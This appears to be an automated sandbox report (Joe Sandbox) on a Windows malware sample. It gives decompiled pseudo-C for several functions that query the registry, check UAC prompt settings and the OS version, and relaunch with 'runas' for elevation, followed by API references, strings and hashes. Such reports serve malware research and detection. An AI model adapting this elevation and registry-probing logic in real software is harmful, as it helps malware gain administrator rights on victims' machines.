						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,74E043E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,74E043E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,74E043E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,74E043E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,74E043E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,74E043E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,74E043E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

", xrefs: 00407599
PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				int _t202;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t206 = _t204 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t207 = _t206 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t207 = _t207 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											asm("popad");
											asm("popad");
											asm("popad");
											asm("popad");
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t202 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t202;
											if(_t202 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t202 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t204 = _t206 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x61616161;
						__eflags = _t158 - (_v32 ^ 0x61616161);
						if(_t158 == (_v32 ^ 0x61616161)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407335
0x00407336
0x00407337
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,Ct,?,74E043E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(Ct,00000000,?,?,00000000,?,?,?), ref: 0040719E
RegCloseKey.KERNELBASE(?,?,74E043E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(?), ref: 00407208
RegCloseKey.ADVAPI32(?), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(?), ref: 004072D0
RegCloseKey.ADVAPI32(?), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(?), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

, xrefs: 00407061
Ct, xrefs: 00407093, 0040719B, 00407096
PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $PromptOnSecureDesktop$Ct
API String ID: 4293430545-65454257
Opcode ID: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction ID: 42610d5d4912e138811464987e42a56107d9bf2f6382ea6b9d81aa24fc4965e2
Opcode Fuzzy Hash: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction Fuzzy Hash: B5B17071D08209BAEB159FA1DC45BEF77B8AB04304F20047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				int _t94;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				_t94 = E00406EDD(); // executed
				 *(_t168 + 0x5c) = _t94;
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78); // executed
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x61080000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50)); // executed
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x61080106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x61080107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x61080000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094a7
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.KERNELBASE(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

runas, xrefs: 00409674
PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550
Mt, xrefs: 0040936E

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas$Mt
API String ID: 3696105349-441857510
